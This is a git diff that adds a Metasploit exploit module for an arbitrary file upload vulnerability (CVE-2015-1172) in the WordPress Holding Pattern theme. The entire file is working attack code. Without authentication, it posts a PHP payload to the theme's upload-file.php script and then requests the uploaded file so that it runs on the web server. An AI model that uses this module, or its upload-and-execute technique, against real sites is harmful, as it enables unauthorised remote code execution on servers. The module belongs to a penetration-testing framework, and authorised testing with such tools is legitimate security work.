diff --git a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb new file mode 100644 index 0000000000..78d9da9c71 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'socket' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in all versions of the + Holding Pattern theme found in the upload_file.php script which contains + no session or file validation. It allows unauthenticated users to upload + files of any type and subsequently execute PHP scripts in the context of + the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alexander Borg', # Vulnerability disclosure + 'Rob Carr ' # Metasploit module + ], + 'References' => + [ + ['CVE', '2015-1172'], + ['WPVDB', '7784'] + ], + 'DisclosureDate' => 'Feb 11 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['holding_pattern', {}]], + 'DefaultTarget' => 0 + )) + end + + def rhost + datastore['RHOST'] + end + + def holding_pattern_uploads_url + normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/') + end + + def holding_pattern_uploader_url + normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php') + end + + def generate_mime_message(payload, payload_name) + data = Rex::MIME::Message.new + target_ip = IPSocket.getaddress(rhost) + field_name = Rex::Text.md5(target_ip) + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"") + data + end + + def exploit + print_status("#{peer} - Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + data = generate_mime_message(payload, payload_name) + + print_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => holding_pattern_uploader_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + payload_url = normalize_uri(holding_pattern_uploads_url, payload_name) + + print_status("#{peer} - Executing the payload at #{payload_url}") + register_files_for_cleanup(payload_name) + send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + end +end